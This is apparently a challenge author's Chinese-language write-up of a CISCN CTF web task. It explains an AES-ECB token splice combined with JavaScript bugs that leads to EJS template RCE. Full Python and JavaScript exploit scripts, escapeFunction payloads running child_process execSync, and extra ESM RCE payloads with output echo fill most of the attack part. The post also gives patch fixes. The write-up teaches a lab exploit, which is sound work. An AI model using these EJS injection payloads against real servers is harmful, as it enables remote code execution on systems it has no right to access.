目录

CISCN国赛东南赛区出题小记

好久没写博客了,正好出题写了 wp,就放上来水一下吧。这次难度控制的不是很好,fix 很简单,但是攻击只有 1 解,不过希望师傅们游戏玩得开心。

拿到题目可以发现其实后端的代码并不复杂,index.cjs 中仅有两个接口,一个 websocket,一个 render:

websocket

跟进到 ws.mjs 中可以看到本题所有的接口都是通过 AES ECB 来进行身份验证的,或许可以考虑 ECB 重放攻击,但是现在似乎并不能直接使用,mark 一下。

继续看代码可以发现 profilePayload 接口有个很奇怪的东西:

../assets/209c8d7f7d8c4f07a7949537d4f45cbc_MD5.png

都不用原型链污染了,真贴心,但是我们并不能控制 debug 属性,仍然 mark,后面会用到

render

一来就是一个非常显眼的注释:

../assets/e6fd56d193d763619128036038c033a2_MD5.png

可以看到给了一个过期的 token,但是这道题是基于 AES ECB 的,不妨把数据对齐看看能不能重放:

../assets/94008f91dacbbe59488b4a514888b7de_MD5.png

很明显最后两块是可以利用的,加上前面 websocket 的 profilePayload 接口我们可以往里面加任意属性,控制一下长度就可以构造 debug == true 了。

继续往后面看:

../assets/e438f85b532b77d03e25dd1f71b0b570_MD5.png

这一段代码乍一看似乎没什么问题,但是短短几行代码就隐藏了两个 bug:

换行缺少分号

data 复制的地方可以看到第一行是没有分号的,代码本意是第一行将 data 赋值为一个数组,第二行通过布尔判断截断的方式打印提示,但是因为缺少分号,并且紧接的第二行是以 [ 开头,这就会导致第二行的 [decrypted.debug ? 0 : 1] 变成第一行的取下标操作,最后 data 变量的值就会变成一个对象,而结合前面 decrypted.debug 已经可控,我们就可以控制让 data 变量被赋值为 decrypted 的值。

if 代码块内无 return

由于在前面写死了 const env = 'production'; ,所以在这里检测 env === 'production' 的时候虽然似乎乍一看无解了,但是由于这里执行完成之后并没有 return,后面的代码其实还是会继续运行,也就是说 data 会被传入 res.render 函数进行渲染,而 data 变量可控,这就是一个很简单的 ejs rce了。

exp

注:两个 exp 的 payload 中都有一个很长的字符串,其实大可不必写这么长,空字符串其实都可以,反正前面已经构造好了,后面会被替换上去,有一个块就可以了,咱也不知道当时写 wp 的时候在想什么,反正能打通就行;-)

python 版本:

import base64
import json
import requests
from websockets.sync.client import connect

endpoint = "http://192.168.88.128:3000"
ws_endpoint = endpoint.replace("http", "ws") 

# test token
# {"iat":150000000
# 0000,"exp":15999
# 99999999,"name":
# "ciscn","debug":
# true}

# exp token
# {"iat":16xxxxxxx
# xxxx,"exp":16xxx
# xxxxxxxx,"name":
# "exp","achieveme
# nts":[],"setting
# s":{"view option
# s":{"client":1,"
# escapeFunction":
# "0;return proces
# s.mainModule.con
# structor._load('
# child_process').
# execSync('/readf
# lag>statics/flag
# ')"}},"longStr":
# "ciscn","debug":
# true}

test_token = base64.b64decode("IK8FyUzqb7xjrpWnphEEY5d9814rMICbbGJxKM9Hy/niR0R00mHAoUfxp+5lYU7Pd5nXqPPBP9xlWPERsTe16jJnXLb9hYQ3PQbkkOUr8pA=")

with connect(ws_endpoint) as ws:
    ws.send(json.dumps({
        "type": "login",
        "id": "exp",
        "data": {
            "username": "exp",
            "password": "exp",
        },
    }))
    token = json.loads(ws.recv())["data"]["token"]
    ws.send(json.dumps({
        "type": "profilePayload",
        "id": "exp",
        "data": {
            "token": token,
            "payload": {
                "settings": {
                    "view options": {
                        "client": 1,
                        "escapeFunction": "0;return process.mainModule.constructor._load('child_process').execSync('/readflag>statics/flag')"
                    },
                },
                "longStr": "some_random_sting_just_to_make_sure_the_payload_is_long_enough_and_will_be_replaced_anyway",
            },
        },
    }))
    payload = base64.b64decode(json.loads(ws.recv())["data"]["token"])
    payload = payload[:15 * 16] + test_token[3 * 16:]
    payload = base64.b64encode(payload).decode()
requests.get(endpoint + "/profile", params={"token": payload})
print(requests.get(endpoint + "/flag").text)

考虑到有的选手赛前并没有安装 python 的 websocket 相关库,本题目也可以使用 js 解答:

const endpoint = 'http://192.168.88.128:3000';
const wsEndpoint = endpoint.replace('http', 'ws');

const testToken = atob('IK8FyUzqb7xjrpWnphEEY5d9814rMICbbGJxKM9Hy/niR0R00mHAoUfxp+5lYU7Pd5nXqPPBP9xlWPERsTe16jJnXLb9hYQ3PQbkkOUr8pA=');
const ws = new WebSocket(wsEndpoint);

ws.onopen = () => {
    ws.send(JSON.stringify({
        type: 'login',
        id: 'login',
        data: {
            username: 'exp',
            password: 'exp'
        }
    }));
};
ws.onmessage = (event) => {
    const resp = JSON.parse(event.data);
    switch (resp.id) {
        case 'login':
            const loginToken = resp.data.token;
            ws.send(JSON.stringify({
                type: 'profilePayload',
                id: 'exp',
                data: {
                    token: loginToken,
                    payload: {
                        settings: {
                            "view options": {
                                client: 1,
                                escapeFunction: "0;return process.mainModule.constructor._load('child_process').execSync('/readflag>statics/flag')"
                            }
                        },
                        longStr: "some_random_sting_just_to_make_sure_the_payload_is_long_enough_and_will_be_replaced_anyway"
                    }
                }
            }));
            break;
        case 'exp':
            let payload = atob(resp.data.token);
            payload = payload.slice(0, 16 * 15) + testToken.slice(3 * 16);
            payload = btoa(payload);
            fetch(`${endpoint}/profile?token=${encodeURIComponent(payload)}`, {
                method: 'GET',
                mode: 'no-cors'
            }).finally(() => {
                fetch(`${endpoint}/flag`, {
                    method: 'GET',
                    mode: 'no-cors'
                }).then((resp) => resp.text()).then((flag) => {
                    document.body.innerText = flag;
                });
            });
    }
};

patch

patch 部分就很简单了,比赛期间也基本是送分的存在。根据前面的分析,本题最主要的点是 ejs 的 rce,所以最直接能够想到的办法就是在 index.cjs 中对传入 res.render() 的参数进行限制:

../assets/6979c68d3f4976b0d1bbd758ffc15bc4_MD5.png

或者在 ws.mjsprofilePayload 中生成 token 时直接删掉 payload 的解构:

sed -i '/\.\.\.payload/d' /app/ws.mjs

后记

ejs 中使用 import 进行 rce

其实在出题的时候曾经考虑过把 index.js 也弄成 esmodule 的形式,这样在 ejs render rce 的时候就不能用 process.mainModule.constructor._load 来获取 child_process 了,require() 也没了。

但是考虑到现在网上几乎所有的文章里面都是用的这种方法,而且师傅们在现场也不能查资料,调试起来或许会有些困难,于是就还是把 index.js 写成 commonjs 的形式了。

在这里顺便贴一下在 esmodule 下对 ejs 进行 rce 的 payload,其实大差不差:

import('child_process').then(cp=>cp.default.execSync).then(exec=>exec('calc'))

../assets/2082bab44bcd0fba675638a1b3451040_MD5.png

或者再加一个 async 的 opt:

{
  "settings": {
    "view options": {
      "client": 1,
      "async":1,
      "escapeFunction": "0;const child_process = await import('child_process');return child_process.execSync('calc')"
    }
  }
}

../assets/3695be87e3aba2242c0e150885985e9c_MD5.png

ejs 带回显 rce

commonjs

其实这道题我写的 exp 中的 payload 就是可以回显的:

../assets/646391cb5616ed8b05faa13010055852_MD5.png

我们可以看看 ejs 是怎么获取模板渲染结果的:

../assets/15c231475d630ecea08bdc120ffcfd74_MD5.png

可以看到它是将模板“编译”成 js 运行,得到结果后再输出的,在 26 行我们进行拼接之后就可以自己构造一个 return 然后自定义模板渲染的返回结果了。

esmodule

由于 esmodule 的 rce 是使用 import() 实现的,而这是一个异步的函数,所以并不能跟上文的 commonjs 一样直接 return,哪怕在 ejs 的 option 中设置了 async 也不行,只会返回一个空的 json,原因在于 express 的 response.js 中的默认回调函数:

../assets/371e1746014cf340b671909a1e9fd21c_MD5.png

express 并没有考虑到异步的情况,async 函数返回的是一个 promise 对象,这里并没有 resolve 或者 await 来获取运行结果。如果在路由中不传入 callback 的话那就没有办法回显了。出于类似的原因,报错信息也不能被返回,所以也断掉了通过报错携带回显的道路。

经过一些寻找之后我并没有发现一个能够直接回显的方法,不过有权限的话还是可以通过写文件、反弹 shell 之类的方式来做。

2023年6月26日下午补充

经过一些更多的寻找之后,esmodule 下也能一次访问回显了:

../assets/aeaa4c87f64ef63320795fffbb301577_MD5.png

talk is cheap,直接上代码:

0;import('child_process').then(cp=>cp.default.execSync).then(exec=>{__output=exec('whoami')}).catch(e=>{__output=e.toString()});while(!__output)process._tickCallback();return __output

原理也很简单,就是同步阻塞等待异步结果,关键点在 process._tickCallback(); 这一行,如果只写一个类似 while(!__output) continue; 之类的话就会一直停在这里,不太明白的师傅可以去深入了解以下 js 的 eventloop。

这个 __output 是后面 31 行定义的,由于变量提升这里也可以访问到,所以我直接就用了这个变量名(能懒一点是一点 精简 payload),当然也可以自己重新定义一个变量来存放运行结果。